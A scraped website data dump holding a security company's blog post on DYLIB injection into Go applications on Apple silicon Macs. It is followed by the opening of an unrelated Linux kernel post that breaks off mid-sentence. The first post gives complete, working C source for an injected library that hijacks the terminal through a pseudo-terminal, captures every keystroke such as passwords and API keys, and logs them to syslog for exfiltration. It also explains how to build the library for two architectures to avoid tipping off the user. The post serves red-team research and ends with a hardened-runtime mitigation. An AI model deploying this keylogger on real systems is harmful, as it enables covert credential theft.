tech.",{"id":10998,"uid":10999,"url":11000,"type":406,"href":11001,"tags":11002,"first_publication_date":11003,"last_publication_date":10809,"slugs":11004,"linked_documents":11005,"lang":386,"alternate_languages":11006,"data":11007},"alz1ChEAACsAUWeR","dylib-injection-in-golang-apps","\u002Fresources\u002Fengineering-blog\u002Fdylib-injection-in-golang-apps","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1ChEAACsAUWeR%22%29+%5D%5D",[],"2026-07-19T16:21:54+0000",[10085],[],[],{"title":11008,"excerpt":11009,"card_image":11010,"published_date":11015,"reading_time":4811,"tag":427,"dek":11009,"featured_image":11016,"about_form3":11022,"client_about_heading":13,"client_about_body":11023,"author_name":6576,"author_title":6577,"author_photo":11024,"author_bio":11027,"author_linkedin":11030,"slices":11032,"meta_title":11008,"meta_description":11009},"DYLIB Injection in Golang apps on Apple silicon chips","Creating persistence is one of the biggest challenges during Red Team engagements, and doing it in a stealthy, yet reliable way is even more difficult. One old technique on Unix based systems is library injection through environment variables. In this post, we will look at whether this is still possible after macOS 10.14 (Mojave).",{"dimensions":11011,"alt":11008,"copyright":13,"url":11012,"id":11013,"edit":11014},{"width":420,"height":420},"\u002F_prismic-media\u002F5cde125072b2faab-ulwYk7KTY-BU0zmN_dylib-injection-in-golang-apps.","ulwYk7KTY-BU0zmN",{"x":17,"y":17,"zoom":18,"background":19},"2022-07-22",{"dimensions":11017,"alt":11018,"copyright":13,"url":11019,"id":11020,"edit":11021},{"width":1270,"height":9083},"Form3 blog 8 min DYLIB Injection in Golang apps on Apple silicon chips by Marcell Molnar July 22, 2022","\u002F_prismic-media\u002F73baa1439285ee21-iTNtYnyyouDx0Pqo_0d390f8b-e62b-45e6-bf6f-3532566.png","iTNtYnyyouDx0Pqo",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":11025,"alt":6576,"copyright":13,"url":6580,"id":6581,"edit":11026},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[11028],{"type":396,"text":6585,"spans":11029},[],{"link_type":453,"key":11031,"url":6589,"target":456},"e6d2b3b2-b855-48e1-993d-938923121365",[11033,11069,11083,11091,11099,11107,11118,11126,11133,11141,11149,11157,11165,11173,11181,11212,11220,11228,11236,11244,11252,11273,11281,11292,11300,11315,11323,11335,11343,11352,11363,11371,11386,11394,11414,11422,11430,11438,11446],{"variation":459,"version":460,"items":11034,"primary":11035,"id":11068,"slice_type":479,"slice_label":13},[],{"body":11036},[11037,11039,11048,11053,11056,11059,11062,11065],{"type":465,"text":10120,"spans":11038},[],{"type":396,"text":11040,"spans":11041},"On Linux systems one can inject shared objects into a process by specifying the LD_PRELOAD environment variable, while on MacOS the equivalent is the DYLD_INSERT_LIBRARIES variable. Both of them allow the user (or the attacker) to specify a .so or .dylib file that will get loaded into a process upon execution. This effectively allows code injection and access to application internals such as process memory and control flow. It can be a powerful technique for developers debugging their applications but also for attackers creating backdoors on a system.",[11042,11043,11044,11046],{"start":688,"end":1524,"type":780},{"start":1489,"end":2499,"type":780},{"start":1607,"end":11045,"type":780},244,{"start":2501,"end":11047,"type":780},254,{"type":396,"text":11049,"spans":11050},"We carry out our Red Team engagements in an environment with a large number of clients running MacOS and custom Golang applications, and wanted to test if DYLIB injection was still feasible after the introduction of System Integrity Protection (SIP) and Hardened Runtime by Apple in macOS 10.14 (Mojave).",[11051,11052],{"start":1430,"end":4881,"type":477},{"start":11047,"end":8035,"type":477},{"type":396,"text":11054,"spans":11055},"In this article we will cover:",[],{"type":1101,"text":11057,"spans":11058},"testing DYLIB injection on Golang apps on an M1 Mac",[],{"type":1101,"text":11060,"spans":11061},"creating an effective payload for terminal keylogging on OSX",[],{"type":1101,"text":11063,"spans":11064},"facing the challenges of multiarch support via Rosetta",[],{"type":1101,"text":11066,"spans":11067},"mitigating DYLIB injection in Golang apps by using hardened runtime",[],"rich_text$78b67713-3020-4165-a62c-05349c65da81",{"variation":459,"version":460,"items":11070,"primary":11071,"id":11082,"slice_type":479,"slice_label":13},[],{"body":11072},[11073,11076,11079],{"type":465,"text":11074,"spans":11075},"Dylib injection in Golang apps",[],{"type":396,"text":11077,"spans":11078},"The good (and also the bad news) is, DYLIB injection in Golang apps just works. Since Golang is compiled into native machine code it is just as vulnerable to DYLIB injection as any other application built in C for example. To test this we can create a small Golang application:",[],{"type":396,"text":11080,"spans":11081},"password.go",[],"rich_text$598ab7ba-9c3b-47a1-8cae-10839a632f4d",{"variation":459,"version":460,"items":11084,"primary":11085,"id":11090,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11086},[11087],{"type":563,"text":11088,"spans":11089},"package main\n\nimport (\n    \"fmt\"\n)\n\nfunc main() {\n    fmt.Println(\"Enter password: \")\n    text2 := \"\"\n    fmt.Scanln(&text2)\n    fmt.Println(\"Welcome!\")\n}",[],"code_block$c4b5be52-4acc-4e7c-9084-9cdf4d526ef8",{"variation":459,"version":460,"items":11092,"primary":11093,"id":11098,"slice_type":479,"slice_label":13},[],{"body":11094},[11095],{"type":396,"text":11096,"spans":11097},"Build it with:",[],"rich_text$e3e7655d-f160-4049-8a05-c43dc8777611",{"variation":459,"version":460,"items":11100,"primary":11101,"id":11106,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11102},[11103],{"type":563,"text":11104,"spans":11105},"% go build password.go",[],"code_block$cf31a938-72ff-4204-a440-ac7844159bda",{"variation":459,"version":460,"items":11108,"primary":11109,"id":11117,"slice_type":479,"slice_label":13},[],{"body":11110},[11111,11114],{"type":396,"text":11112,"spans":11113},"Now let's build a library we can inject. We are going to code this one in C, for the sake of expanding it later into a proper payload:",[],{"type":396,"text":11115,"spans":11116},"payload.c",[],"rich_text$21a275b4-0367-402f-b5ed-b2b11de6a3bb",{"variation":459,"version":460,"items":11119,"primary":11120,"id":11125,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11121},[11122],{"type":563,"text":11123,"spans":11124},"#include \u003Cstdio.h>\n\n__attribute__((constructor))\nstatic void customConstructor(int argc, const char **argv)\n{\n  printf(\"DYLIB injection successful!\\n\");\n}",[],"code_block$1d29606c-93b1-41a8-868e-ddb65a1ec100",{"variation":459,"version":460,"items":11127,"primary":11128,"id":11132,"slice_type":479,"slice_label":13},[],{"body":11129},[11130],{"type":396,"text":11096,"spans":11131},[],"rich_text$5f2c7891-eb76-4fd9-87ad-3ac2c0c7d5f1",{"variation":459,"version":460,"items":11134,"primary":11135,"id":11140,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11136},[11137],{"type":563,"text":11138,"spans":11139},"% gcc -dynamiclib payload.c -o payload.dylib",[],"code_block$2d153772-987e-4942-8927-6db98b4ff406",{"variation":459,"version":460,"items":11142,"primary":11143,"id":11148,"slice_type":479,"slice_label":13},[],{"body":11144},[11145],{"type":396,"text":11146,"spans":11147},"Now export the library path:",[],"rich_text$8cced8d3-6525-4e14-8152-7bc5c055acfa",{"variation":459,"version":460,"items":11150,"primary":11151,"id":11156,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11152},[11153],{"type":563,"text":11154,"spans":11155},"% export DYLD_INSERT_LIBRARIES=$PATH\u002Fpayload.dylib",[],"code_block$34d212fe-cd1d-4b01-baa0-adf2ac6ab4f3",{"variation":459,"version":460,"items":11158,"primary":11159,"id":11164,"slice_type":479,"slice_label":13},[],{"body":11160},[11161],{"type":396,"text":11162,"spans":11163},"And finally execute the password application:",[],"rich_text$44bc9cfc-4833-422e-a4ea-185635062d90",{"variation":459,"version":460,"items":11166,"primary":11167,"id":11172,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11168},[11169],{"type":563,"text":11170,"spans":11171},"% .\u002Fpassword\nDYLIB injection successful!\nEnter password:",[],"code_block$11457289-63fe-4c4d-a45f-23c7af1e6f17",{"variation":459,"version":460,"items":11174,"primary":11175,"id":11180,"slice_type":479,"slice_label":13},[],{"body":11176},[11177],{"type":396,"text":11178,"spans":11179},"From the output we can see the library code executed, along with the original binary, the DYLIB injection was successful.",[],"rich_text$5b1fee6d-c919-4446-bfeb-53e66f49041a",{"variation":459,"version":460,"items":11182,"primary":11183,"id":11211,"slice_type":479,"slice_label":13},[],{"body":11184},[11185,11188,11191,11194,11198,11201],{"type":465,"text":11186,"spans":11187},"Creating a terminal keylogger payload",[],{"type":396,"text":11189,"spans":11190},"Injecting a library is quite easy as we can see, however creating a useful payload most of the time is not as straightforward. While we could of course execute anything by creating a new thread, in the case of library injection what we are usually after is getting access to the data handled by the process itself.",[],{"type":396,"text":11192,"spans":11193},"We could reverse engineer the application and attempt to tamper with the memory but with most console applications (CLIs for example), the sensitive data is in the user input. For this purpose we created a sort of man in the middle payload that utilizes standard system functions to manipulate the terminal and capture input and output.",[],{"type":396,"text":11195,"spans":11196},"Challenge 1: peeking stdin",[11197],{"start":17,"end":596,"type":477},{"type":396,"text":11199,"spans":11200},"The solution that comes to mind first is to create a new thread that reads all the input from stdin. While this sounds simple enough, after hours of research and trial and error we found out that it is not actually possible. While stdin is in fact a file descriptor it is not seekable, we cannot monitor it with one thread, and continue using it with the other simultaneously. Using getc and trying to push back characters to the stream will result in race conditions, with some characters getting missed.",[],{"type":396,"text":11202,"spans":11203},"While it not possible to manipulate the file descriptor the way we want it, nothing is stopping us from creating a new one. Fortunately there is a system call in linux just for this called openpty. This is usually used for running console applications in a virtual terminal, however we can use it to create a virtual terminal and hijack both the input and the output of the process using it. The idea is to give the virtual stdin and stdout to the original process by rewriting the STDIN_FILENO and STDOUT_FILENO descriptors using dup2. With this we are essentially cutting the application off from the actual user input and output, and making it run in a fake terminal.",[11204,11207],{"start":853,"end":2815,"type":744,"data":11205},{"link_type":453,"url":11206},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman3\u002Fopenpty.3.html",{"start":11208,"end":10798,"type":744,"data":11209},531,{"link_type":453,"url":11210},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fdup.2.html","rich_text$2d6a535c-8ba0-4a95-94b9-2d7cacc30753",{"variation":459,"version":460,"items":11213,"primary":11214,"id":11219,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11215},[11216],{"type":563,"text":11217,"spans":11218},"int master;\n    int slave;\n    openpty(&master, &slave, NULL, &current, NULL);\n    \n    dup2(slave, STDIN_FILENO);\n    dup2(slave, STDOUT_FILENO);\n    dup2(slave, STDERR_FILENO);",[],"code_block$7c7cbda6-aa32-4d28-81d3-5a63438edcba",{"variation":459,"version":460,"items":11221,"primary":11222,"id":11227,"slice_type":479,"slice_label":13},[],{"body":11223},[11224],{"type":396,"text":11225,"spans":11226},"We will also create a set of new file descriptors to the calling terminal, allowing us to communicate with the user:",[],"rich_text$0a5374ae-cef5-4c25-b2ba-f210fbbab976",{"variation":459,"version":460,"items":11229,"primary":11230,"id":11235,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11231},[11232],{"type":563,"text":11233,"spans":11234},"oldstdin = fileno(fopen(\"\u002Fdev\u002Ftty\", \"r\"));\n    oldstdout = fileno(fopen(\"\u002Fdev\u002Ftty\", \"a\"));\n    oldstderr = oldstdout;",[],"code_block$7894a09b-0590-488d-9823-fef68ea58ced",{"variation":459,"version":460,"items":11237,"primary":11238,"id":11243,"slice_type":479,"slice_label":13},[],{"body":11239},[11240],{"type":396,"text":11241,"spans":11242},"The next step is to create a bridge between the virtual and the real terminal. We will forward all user input from the real stdin to the virtual and do the same for output in the other direction. We will also copy and log everything along the way of course :)",[],"rich_text$0eea7518-fdd9-4c91-8912-e47095abcbfc",{"variation":459,"version":460,"items":11245,"primary":11246,"id":11251,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11247},[11248],{"type":563,"text":11249,"spans":11250},"fd_set rfds;\n  struct timeval tv;\n  tv.tv_sec = 0;\n  tv.tv_usec = 0;\n  char buf[4097];\n  int size;\n  \n  FD_ZERO(&rfds);\n  FD_SET(oldstdin, &rfds);\n  if (select(oldstdin + 1, &rfds, NULL, NULL, &tv)) {\n    size = read(oldstdin, buf, 4096);\n    buf[size] = '\\0';\n    syslog(LOG_ERR, \"Data:%s\\n\", buf);\n    write(master, buf, size);\n  }\n        \n  FD_ZERO(&rfds);\n  FD_SET(master, &rfds);\n  if (select(master + 1, &rfds, NULL, NULL, &tv)) {\n    size = read(master, buf, 4096);\n    buf[size] = '\\0';\n    write(oldstdout, buf, size);\n  }",[],"code_block$a2ca515f-7a95-4fa8-a921-a1fe3f694f14",{"variation":459,"version":460,"items":11253,"primary":11254,"id":11272,"slice_type":479,"slice_label":13},[],{"body":11255},[11256,11262,11266],{"type":396,"text":11257,"spans":11258},"Here we are also using select to monitor whether the file descriptors are ready.",[11259],{"start":2532,"end":586,"type":744,"data":11260},{"link_type":453,"url":11261},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fselect.2.html",{"type":396,"text":11263,"spans":11264},"Challenge 2: raw input and other terminal settings",[11265],{"start":17,"end":598,"type":477},{"type":396,"text":11267,"spans":11268},"The solution above will work perfectly, as long as the application doesn't do anything weird with the terminal, for example changing the input mode to raw... The terminal has a set of options that control how user input and output behaves. The termios functions allow developers to set things like switching between buffered or raw input mode (the app receives input line by line or upon every keypress), or turning on and off terminal echo. These calls are usually hidden from developers by libraries such as ncurses, but this also means that a lot of programs use this, even without us knowing it. Trying this MiTM technique on the following example code will break user input entirely:",[11269],{"start":11045,"end":6474,"type":744,"data":11270},{"link_type":453,"url":11271},"https:\u002F\u002Fwww.man7.org\u002Flinux\u002Fman-pages\u002Fman3\u002Ftermios.3.html","rich_text$ae42f86b-19e4-44d7-ba8e-8c0a37ea08e1",{"variation":459,"version":460,"items":11274,"primary":11275,"id":11280,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11276},[11277],{"type":563,"text":11278,"spans":11279},"#include \u003Cstdio.h>\n#include \u003Ctermios.h>\n#include \u003Cstdlib.h>\n\nint main()\n{\n\n    char ch;\n\n    struct termios current;\n    int result;\n    tcgetattr (0, &current);\n    cfmakeraw(&current);\n    tcsetattr (0, TCSANOW, &current);\n\n    printf(\"Enter some text: \");\n    for(int i = 0; i\u003C20; i = i+1){\n        scanf(\"%c\", &ch);\n        printf(\"%c\", ch);\n    }\n\n    return 0;\n}",[],"code_block$c8837d6e-9951-4175-b54d-b165a91fcf92",{"variation":459,"version":460,"items":11282,"primary":11283,"id":11291,"slice_type":479,"slice_label":13},[],{"body":11284},[11285,11288],{"type":396,"text":11286,"spans":11287},"The solution to this is fortunately quite simple. We have to monitor the virtual terminal for changes in the configuration and then apply them to the real terminal.",[],{"type":396,"text":11289,"spans":11290},"The following function copies the terminal attributes from one terminal to the other:",[],"rich_text$3f0cfb01-f1f5-42e3-a05e-7c40a720bce0",{"variation":459,"version":460,"items":11293,"primary":11294,"id":11299,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11295},[11296],{"type":563,"text":11297,"spans":11298},"void terminalcopy(int old, int new){\n    struct termios oldsettings;\n    int result;\n    result = tcgetattr (old, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcgetattr old\");\n    }\n    result = tcsetattr (new, TCSANOW, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcsetattr\");\n    }\n}",[],"code_block$2851be89-b98f-43e9-b67f-817196571708",{"variation":459,"version":460,"items":11301,"primary":11302,"id":11314,"slice_type":479,"slice_label":13},[],{"body":11303},[11304,11307,11311],{"type":396,"text":11305,"spans":11306},"We can simply embed this into our input loop.",[],{"type":396,"text":11308,"spans":11309},"Challenge 3: exfiltrating data",[11310],{"start":17,"end":555,"type":477},{"type":396,"text":11312,"spans":11313},"This isn't really a challenge with the injection, it is more a challenge with Red Teaming in general. Getting the stolen goods across the border, aka writing logged passwords or API keys to a file is usually a noisy process. In this payload we are going to use a solution proposed by our team lead @Daniel Teixeira. We are going to write all our data to syslog. We are going to use the syslog command.",[],"rich_text$b901144c-8382-45fa-8333-49620c8efa85",{"variation":459,"version":460,"items":11316,"primary":11317,"id":11322,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11318},[11319],{"type":563,"text":11320,"spans":11321},"syslog(LOG_ERR, \"Data:%s\\n\", buf);",[],"code_block$d4f77b80-a103-47ec-b41b-2dd44315a6f0",{"variation":459,"version":460,"items":11324,"primary":11325,"id":11334,"slice_type":479,"slice_label":13},[],{"body":11326},[11327,11330],{"type":396,"text":11328,"spans":11329},"This solution is practical when the engagement allows relatively easy access to log facilities. It could be further refined by encrypting the logged information.",[],{"type":396,"text":11331,"spans":11332},"Putting it all together",[11333],{"start":17,"end":2532,"type":477},"rich_text$e1b32aef-886e-439f-a1fc-688492699779",{"variation":459,"version":460,"items":11336,"primary":11337,"id":11342,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11338},[11339],{"type":563,"text":11340,"spans":11341},"#include \"spy.h\"\n#include \u003Cstdio.h>\n#include \u003Csyslog.h>\n#include \u003Cstdlib.h>\n#include \u003Cpthread.h>\n#include \u003Csys\u002Fselect.h>\n#include \u003Cfcntl.h>\n#include \u003Cutil.h>\n#include \u003Cunistd.h>\n#include \u003Ctermios.h>\n\nint master;\nint slave;\nint oldstdin;\nint oldstdout;\nint oldstderr;\n\nvoid terminalcopy(int old, int new){\n    struct termios oldsettings;\n    int result;\n    \n    result = tcgetattr (old, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcgetattr old\");\n    }\n    result = tcsetattr (new, TCSANOW, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcsetattr\");\n    }\n}\n\nvoid* spyfunc(){\n\n    syslog(LOG_ERR, \"Spy thread started!\\n\");\n    \n    fd_set rfds;\n    struct timeval tv;\n    tv.tv_sec = 0;\n    tv.tv_usec = 0;\n    char buf[4097];\n    int size;\n    \n    while(1)\n    {\n        terminalcopy(slave, oldstdin);\n\n        FD_ZERO(&rfds);\n        FD_SET(oldstdin, &rfds);\n        if (select(oldstdin + 1, &rfds, NULL, NULL, &tv)) {\n            size = read(oldstdin, buf, 4096);\n            buf[size] = '\\0';\n            syslog(LOG_ERR, \"Data:%s\\n\", buf);\n            write(master, buf, size);\n        }\n        \n        FD_ZERO(&rfds);\n        FD_SET(master, &rfds);\n        if (select(master + 1, &rfds, NULL, NULL, &tv)) {\n            size = read(master, buf, 4096);\n            buf[size] = '\\0';\n            write(oldstdout, buf, size);\n        }\n        \n    }\n    return 0;\n}\n\n__attribute__((constructor))\nstatic void customConstructor(int argc, const char **argv)\n{\n    struct termios current;\n    int result;\n    result = tcgetattr (STDIN_FILENO, &current);\n    \n    openpty(&master, &slave, NULL, &current, NULL);\n    \n    dup2(slave, STDIN_FILENO);\n    dup2(slave, STDOUT_FILENO);\n    dup2(slave, STDERR_FILENO);\n    oldstdin = fileno(fopen(\"\u002Fdev\u002Ftty\", \"r\"));\n    oldstdout = fileno(fopen(\"\u002Fdev\u002Ftty\", \"a\"));\n    oldstderr = oldstdout;\n    \n    pthread_t id;\n    \n    pthread_create(&id, NULL, spyfunc, NULL);\n    \n    syslog(LOG_ERR, \"Dylib injection successful in %s\\n\", argv[0]);\n}",[],"code_block$cb0184b9-5ae6-4bd9-838d-4c2638db09a0",{"variation":459,"version":460,"items":11344,"primary":11345,"id":11351,"slice_type":479,"slice_label":13},[],{"body":11346},[11347],{"type":396,"text":11348,"spans":11349},"This code still has some limitations, it will fail in cases when the application directly manipulates \u002Fdev\u002Ftty, however for most console applications it works as expected.",[11350],{"start":900,"end":1513,"type":780},"rich_text$a7a762d1-c45d-411e-8809-8662536712bb",{"variation":459,"version":460,"items":11353,"primary":11354,"id":11362,"slice_type":479,"slice_label":13},[],{"body":11355},[11356,11359],{"type":465,"text":11357,"spans":11358},"Multiarch issues",[],{"type":396,"text":11360,"spans":11361},"We are testing this on a realtively new M1 Macbook, which is running both native ARM and x64 binaries. If we simply compile our library it will result in a native ARM binary, however if we try to inject this into an x64 process running under Rosetta we will be facing the following error message:",[],"rich_text$b14c3e63-91c6-4ecb-86aa-bf89cb5473a8",{"variation":459,"version":460,"items":11364,"primary":11365,"id":11370,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11366},[11367],{"type":563,"text":11368,"spans":11369},"dyld[31453]: terminating because inserted dylib '\u002F$PATH\u002Fspy.dylib' could not be loaded: tried: '\u002F$PATH\u002Fspy.dylib' (mach-o file, but is an incompatible architecture (have 'arm64e', need 'x86_64')), '\u002Fusr\u002Flocal\u002Flib\u002Fspy.dylib' (no such file), '\u002Fusr\u002Flib\u002Fspy.dylib' (no such file)",[],"code_block$3b64e9a9-d8eb-4484-80f9-ee86eb6cb689",{"variation":459,"version":460,"items":11372,"primary":11373,"id":11385,"slice_type":479,"slice_label":13},[],{"body":11374},[11375,11378],{"type":396,"text":11376,"spans":11377},"From a Red Team perspective this is an issue, since we can not be sure what kind of process our library will be injected into, and the error can tip off the user that something is not right on the system. To solve this we will have to compile our library with multiarch support.",[],{"type":396,"text":11379,"spans":11380},"To achieve this we will Xcode, load our code, select the project, select build settings and set release to ARCHS = $(ARCHS_STANDARD) (Standard Architectures (Apple Silicon, Intel)). Hit build, the resulting dylib file will be under $home\u002FLibrary\u002FDeveloper\u002FXcode\u002FDerivedData\u002F$projectname\u002FBuild\u002FProducts\u002FDebug\u002F. The result should look like this:",[11381,11383],{"start":4147,"end":11382,"type":780},132,{"start":11384,"end":7923,"type":780},232,"rich_text$a4ed6cfb-7553-43ce-8ae9-f55ceb950055",{"variation":459,"version":460,"items":11387,"primary":11388,"id":11393,"slice_type":479,"slice_label":13},[],{"body":11389},[11390],{"type":396,"text":11391,"spans":11392},"Using this library it is possible to inject into both ARM and x64 processes running under Rosetta.",[],"rich_text$86a8a725-6980-4881-8aaf-f6906bae25c3",{"variation":459,"version":460,"items":11395,"primary":11396,"id":11413,"slice_type":479,"slice_label":13},[],{"body":11397},[11398,11401,11404,11410],{"type":465,"text":11399,"spans":11400},"Protecting against all of this",[],{"type":396,"text":11402,"spans":11403},"Apple introduced the Hardened Runtime by Apple in macOS 10.14 (Mojave), which in theory should prevent attacks like this. The catch is that developers have to sign their applications to enable hardened runtime when executing their code.",[],{"type":396,"text":11405,"spans":11406},"To test this we can create a self signed certificate in Keychain Access. Then use this certificate to sign our example Go app.",[11407],{"start":662,"end":1558,"type":744,"data":11408},{"link_type":453,"url":11409},"https:\u002F\u002Fsupport.apple.com\u002Fen-gb\u002Fguide\u002Fkeychain-access\u002Fkyca8916\u002Fmac",{"type":396,"text":11411,"spans":11412},"Let's build our go example from before, and test DYLIB injection again:",[],"rich_text$f0ccf0fb-a352-4b28-8efd-40f852ed3e8f",{"variation":459,"version":460,"items":11415,"primary":11416,"id":11421,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11417},[11418],{"type":563,"text":11419,"spans":11420},"% export DYLD_INSERT_LIBRARIES=\u002Fosx_injections\u002Fspy0.dylib\n% go build readline.go\n% .\u002Freadline\nDYLIB injection successful!\nEnter password:\nasdasd\nWelcome!",[],"code_block$00221fd4-200b-421c-9873-bcba23913edb",{"variation":459,"version":460,"items":11423,"primary":11424,"id":11429,"slice_type":479,"slice_label":13},[],{"body":11425},[11426],{"type":396,"text":11427,"spans":11428},"Now let's sign our app with a self signed certificate and hardened runtime enabled:",[],"rich_text$5f0dc4f7-c207-4137-a116-2723882f4a98",{"variation":459,"version":460,"items":11431,"primary":11432,"id":11437,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11433},[11434],{"type":563,"text":11435,"spans":11436},"% sudo codesign -fs certname -o runtime readline\nreadline: replacing existing signature\n% .\u002Freadline\nEnter password:\nasdasd\nWelcome!",[],"code_block$2d6c22b3-704f-4d0b-84cd-31b33e528fd4",{"variation":459,"version":460,"items":11439,"primary":11440,"id":11445,"slice_type":479,"slice_label":13},[],{"body":11441},[11442],{"type":396,"text":11443,"spans":11444},"As we can see the library is no longer loaded, the application, among other things is immune against DYLIB injections.",[],"rich_text$4df048c7-58f9-4b0d-9afd-105ff916da64",{"variation":459,"version":460,"items":11447,"primary":11448,"id":11455,"slice_type":479,"slice_label":13},[],{"body":11449},[11450,11452],{"type":465,"text":4469,"spans":11451},[],{"type":396,"text":11453,"spans":11454},"While Mac OS has some great security features us as developers have to be mindful that sometimes these features have to be explicitly enabled. While DYLIB injection is usually only exploitable when the attackers already have access to the target system, in the name of defense in depth these issues should be mitigated whenever possible.",[],"rich_text$ea4ea321-233a-4ccd-ad9f-bea9c5ed24e6",{"id":11457,"uid":11458,"url":11459,"type":406,"href":11460,"tags":11461,"first_publication_date":11003,"last_publication_date":11462,"slugs":11463,"linked_documents":11465,"lang":386,"alternate_languages":11466,"data":11467},"alz1DREAACkAUWei","linux-fundamentals-user-kernel-space","\u002Fresources\u002Fengineering-blog\u002Flinux-fundamentals-user-kernel-space","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1DREAACkAUWei%22%29+%5D%5D",[],"2026-08-27T22:18:28+0000",[11464],"tldr",[],[],{"title":11468,"excerpt":11469,"card_image":11470,"published_date":11475,"reading_time":3400,"tag":427,"dek":11476,"featured_image":11477,"about_form3":11478,"client_about_heading":13,"client_about_body":11479,"author_name":1594,"author_title":1595,"author_photo":11480,"author_bio":11483,"author_linkedin":11488,"slices":11490,"meta_title":11468,"meta_description":11469},"Linux fundamentals: user space, kernel space, and the syscalls API surface","The Linux kernel has always held a mystical place in my mind. It's the inner sanctum of computer magic which makes programs work. Somehow. People with arcane knowledge of the Linux kernel often refer to \"user space\" programs, but I've never really been sure what they mean by that. Or of what actually makes up the \"kernel\", for that matter.",{"dimensions":11471,"alt":11468,"copyright":13,"url":11472,"id":11473,"edit":11474},{"width":420,"height":420},"\u002F_prismic-media\u002F7b625192d18bbaed-p4n2IoIk7760M6kZ_linux-fundamentals-user-kernel-.png","p4n2IoIk7760M6kZ",{"x":17,"y":17,"zoom":18,"background":19},"2022-07-06","The Linux kernel has always held a mystical place in my mind. It's the inner sanctum of computer magic which makes programs work. Somehow.People with arcane knowledge of the Linux kernel often refer to \"user space\" programs, but I've never really been sure what they mean by that. Or of what actually makes up the \"kernel\", for that matter.Ultimately, when I write a program which interacts with the file system, or communicates over a network, or somehow interacts with the outside world, I've never really known how these operations are actually executed by the computer\u002Foperating system\u002Fprogramming language. Magic!",{},[],[],{"dimensions":11481,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":11482},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[11484],{"type":396,"text":1603,"spans":11485},[11486],{"start":1606,"end":1607,"type":744,"data":11487},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":11489,"url":1612,"target":456},"096fba24-3809-479b-9514-85081a18a4b1",[11491,11520,11531,11554,11562,11586,11594,11616,11633,11644,11693,11719,11727,11746,11754,11775,11789,11797,11806,11814,11823],{"variation":459,"version":460,"items":11492,"primary":11493,"id":11519,"slice_type":479,"slice_label":13},[],{"body":11494},[11495,11498,11501,11504,11507,11510,11513,11516],{"type":1097,"text":11496,"spans":11497,"direction":4053},"TL;DR",[],{"type":396,"text":11499,"spans":11500,"direction":4053},"If, like me, you also feel like a level one Linux user in dire need of experience points, then fear not! This blog post will try to give you a high-level summary of the following arcane topics:",[],{"type":1101,"text":11502,"spans":11503,"direction":4053},"The Linux software stack in general.",[],{"type":1101,"text":11505,"spans":11506,"direction":4053},"User space programs.",[],{"type":1101,"text":11508,"spans":11509,"direction":4053},"Kernel space programs.",[],{"type":1101,"text":11511,"spans":11512,"direction":4053},"The boundary between user\u002Fkernel space.",[],{"type":1101,"text":11514,"spans":11515,"direction":4053},"The Linux kernel system calls.",[],{"type":396,"text":11517,"spans":11518,"direction":4053},"Having introduced you to these concepts, I'll then try to illustrate how a program makes use of the services provided by the operating system. I'll demonstrate a couple of small applications, written in Go, which consume operating system services directly. This will hopefully take some of the mystery out of computers in the future. If you reach the end of this blog post, you gain one hundred Linux experience points!",[],"rich_text$f84efede-a272-4782-9ec6-7d687fa81eaa",{"variation":459,"version":460,"items":11521,"primary":11522,"id":11530,"slice_type":479,"slice_label":13},[],{"body":11523},[11524,11527],{"type":1097,"text":11525,"spans":11526,"direction":4053},"Linux software stack",[],{"type":396,"text":11528,"spans":11529,"direction":4053},"There is a stack of services that underpin user-run processes in Linux. User-run processes (normally referred to as user space processes, see the user space section below) rely on services provided by the kernel. The kernel is a special part of the operating system, which handles a variety of low-level operations in a privileged running mode (see the section on kernel space below).",[],"rich_text$aed48ae4-5fb5-49a6-a5ec-48da7da411c1",{"variation":459,"version":481,"items":11532,"primary":11533,"id":11553,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":11534,"body":11535,"cta_label":13,"cta_link":11542,"aside_type":488,"aside_image":11543,"aside_video":11548,"aside_video_poster":11549,"aside_video_reduced_motion":11550,"aside_video_url":13,"aside_embed":11551,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":11552,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[11536],{"type":396,"text":11537,"spans":11538,"direction":4053},"This is illustrated in the diagram below, which I borrowed from 